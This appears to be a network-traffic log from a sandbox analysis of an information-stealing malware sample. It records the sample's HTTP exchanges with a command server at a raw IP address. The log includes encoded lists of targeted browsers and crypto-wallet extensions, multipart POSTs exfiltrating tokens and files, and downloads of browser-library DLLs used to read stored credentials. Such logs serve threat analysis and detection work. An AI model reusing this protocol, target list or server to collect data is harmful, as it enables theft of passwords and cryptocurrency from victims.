R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Jul 2, 2024 15:25:59.479969978 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Jul 2, 2024 15:25:59.481127024 CEST	464	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHIJJJEGDBFHDHJJDBAK Host: 85.28.47.4 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 49 4a 4a 4a 45 47 44 42 46 48 44 48 4a 4a 44 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 39 61 33 63 31 31 30 31 63 36 39 66 66 35 33 37 32 37 31 31 33 37 63 39 30 38 61 66 39 35 66 37 35 65 37 32 66 63 37 65 36 62 64 66 62 62 39 32 33 65 32 65 39 62 30 65 37 38 61 36 64 30 33 64 36 64 33 34 64 34 0d 0a 2d 2d 2d 2d 2d 2d 47 48 49 4a 4a 4a 45 47 44 42 46 48 44 48 4a 4a 44 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 49 4a 4a 4a 45 47 44 42 46 48 44 48 4a 4a 44 42 41 4b 2d 2d 0d 0a Data Ascii: ------GHIJJJEGDBFHDHJJDBAKContent-Disposition: form-data; name="token"9b9a3c1101c69ff537271137c908af95f75e72fc7e6bdfbb923e2e9b0e78a6d03d6d34d4------GHIJJJEGDBFHDHJJDBAKContent-Disposition: form-data; name="message"plugins------GHIJJJEGDBFHDHJJDBAK--
Jul 2, 2024 15:25:59.662482977 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 13:25:59 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 5416 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Jul 2, 2024 15:25:59.662507057 CEST	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Jul 2, 2024 15:25:59.662516117 CEST	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Jul 2, 2024 15:25:59.662633896 CEST	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Jul 2, 2024 15:25:59.662652016 CEST	700	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Jul 2, 2024 15:25:59.664279938 CEST	465	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IECFHDBAAECAAKFHDHII Host: 85.28.47.4 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 45 43 46 48 44 42 41 41 45 43 41 41 4b 46 48 44 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 39 61 33 63 31 31 30 31 63 36 39 66 66 35 33 37 32 37 31 31 33 37 63 39 30 38 61 66 39 35 66 37 35 65 37 32 66 63 37 65 36 62 64 66 62 62 39 32 33 65 32 65 39 62 30 65 37 38 61 36 64 30 33 64 36 64 33 34 64 34 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 46 48 44 42 41 41 45 43 41 41 4b 46 48 44 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 46 48 44 42 41 41 45 43 41 41 4b 46 48 44 48 49 49 2d 2d 0d 0a Data Ascii: ------IECFHDBAAECAAKFHDHIIContent-Disposition: form-data; name="token"9b9a3c1101c69ff537271137c908af95f75e72fc7e6bdfbb923e2e9b0e78a6d03d6d34d4------IECFHDBAAECAAKFHDHIIContent-Disposition: form-data; name="message"fplugins------IECFHDBAAECAAKFHDHII--
Jul 2, 2024 15:25:59.868710041 CEST	335	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 13:25:59 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Jul 2, 2024 15:25:59.889553070 CEST	198	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCBGIIECGHCAKECAFBFH Host: 85.28.47.4 Content-Length: 8203 Connection: Keep-Alive Cache-Control: no-cache
Jul 2, 2024 15:25:59.889585018 CEST	8203	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 43 42 47 49 49 45 43 47 48 43 41 4b 45 43 41 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 39 61 33 63 Data Ascii: ------GCBGIIECGHCAKECAFBFHContent-Disposition: form-data; name="token"9b9a3c1101c69ff537271137c908af95f75e72fc7e6bdfbb923e2e9b0e78a6d03d6d34d4------GCBGIIECGHCAKECAFBFHContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Jul 2, 2024 15:26:00.638066053 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 13:25:59 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 2, 2024 15:26:00.861979008 CEST	89	OUT	GET /69934896f997d5bb/sqlite3.dll HTTP/1.1 Host: 85.28.47.4 Cache-Control: no-cache
Jul 2, 2024 15:26:01.043092966 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 13:26:00 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 14:30:30 GMT ETag: "10e436-5e7eeebed8d80" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Jul 2, 2024 15:26:01.043108940 CEST	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Jul 2, 2024 15:26:01.043121099 CEST	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q
Jul 2, 2024 15:26:01.043483019 CEST	672	IN	Data Raw: c0 5d c3 55 89 e5 8b 45 08 85 c0 74 07 5d ff 25 78 66 eb 61 5d c3 55 b8 08 00 00 00 89 e5 5d c3 55 31 c0 89 e5 5d c3 55 89 e5 83 ec 18 89 04 24 ff 15 4c 66 eb 61 c9 c3 55 89 e5 83 ec 18 8b 4d 08 85 c9 74 0c 89 0c 24 ff 15 4c 66 eb 61 99 eb 04 31 Data Ascii: ]UEt]%xfa]U]U1]U$LfaUMt$Lfa11UtBtRJ$~HD]UUtB]U1UtB]U1UtJtBB]JvYU@aSuK?
Jul 2, 2024 15:26:01.043494940 CEST	1236	IN	Data Raw: a2 ec 61 75 ca 41 42 eb be 5b 5e 5f 5d c3 55 31 d2 85 c0 89 e5 74 14 0f b6 08 84 c9 74 09 02 91 e0 a2 ec 61 40 eb f0 88 d0 eb 02 31 c0 5d c3 55 89 e5 57 56 53 89 c6 83 ec 34 89 55 dc 8b 55 08 80 fa 01 75 16 8d 04 08 c7 45 cc 00 00 00 00 c7 45 ec Data Ascii: auAB[^_]U1tta@1]UWVS4UUuEEEM)9}<u19E]Eatu;ur,-uuE]<+ED;]rE;0u]]
Jul 2, 2024 15:26:02.232949018 CEST	198	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKFCBAEHCAEGDHJKFHJK Host: 85.28.47.4 Content-Length: 4599 Connection: Keep-Alive Cache-Control: no-cache
Jul 2, 2024 15:26:02.965925932 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 13:26:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=94 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 2, 2024 15:26:03.048819065 CEST	198	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDBKFHJEBAAEBGDGDBFB Host: 85.28.47.4 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Jul 2, 2024 15:26:03.886356115 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 13:26:03 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 2, 2024 15:26:03.900182009 CEST	556	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHIDHIEGIIIECAKEBFBA Host: 85.28.47.4 Content-Length: 359 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 39 61 33 63 31 31 30 31 63 36 39 66 66 35 33 37 32 37 31 31 33 37 63 39 30 38 61 66 39 35 66 37 35 65 37 32 66 63 37 65 36 62 64 66 62 62 39 32 33 65 32 65 39 62 30 65 37 38 61 36 64 30 33 64 36 64 33 34 64 34 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 [TRUNCATED] Data Ascii: ------DHIDHIEGIIIECAKEBFBAContent-Disposition: form-data; name="token"9b9a3c1101c69ff537271137c908af95f75e72fc7e6bdfbb923e2e9b0e78a6d03d6d34d4------DHIDHIEGIIIECAKEBFBAContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------DHIDHIEGIIIECAKEBFBAContent-Disposition: form-data; name="file"------DHIDHIEGIIIECAKEBFBA--
Jul 2, 2024 15:26:04.612334013 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 13:26:03 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 2, 2024 15:26:05.174550056 CEST	556	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFCFBKKKFHCFHJKFIIEH Host: 85.28.47.4 Content-Length: 359 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 43 46 42 4b 4b 4b 46 48 43 46 48 4a 4b 46 49 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 39 61 33 63 31 31 30 31 63 36 39 66 66 35 33 37 32 37 31 31 33 37 63 39 30 38 61 66 39 35 66 37 35 65 37 32 66 63 37 65 36 62 64 66 62 62 39 32 33 65 32 65 39 62 30 65 37 38 61 36 64 30 33 64 36 64 33 34 64 34 0d 0a 2d 2d 2d 2d 2d 2d 42 46 43 46 42 4b 4b 4b 46 48 43 46 48 4a 4b 46 49 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 42 46 43 46 42 4b 4b 4b 46 48 43 46 48 4a 4b 46 49 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 46 43 [TRUNCATED] Data Ascii: ------BFCFBKKKFHCFHJKFIIEHContent-Disposition: form-data; name="token"9b9a3c1101c69ff537271137c908af95f75e72fc7e6bdfbb923e2e9b0e78a6d03d6d34d4------BFCFBKKKFHCFHJKFIIEHContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------BFCFBKKKFHCFHJKFIIEHContent-Disposition: form-data; name="file"------BFCFBKKKFHCFHJKFIIEH--
Jul 2, 2024 15:26:05.890911102 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 13:26:05 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 2, 2024 15:26:06.051245928 CEST	89	OUT	GET /69934896f997d5bb/freebl3.dll HTTP/1.1 Host: 85.28.47.4 Cache-Control: no-cache
Jul 2, 2024 15:26:06.229154110 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 13:26:06 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "a7550-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Jul 2, 2024 15:26:06.883975029 CEST	89	OUT	GET /69934896f997d5bb/mozglue.dll HTTP/1.1 Host: 85.28.47.4 Cache-Control: no-cache
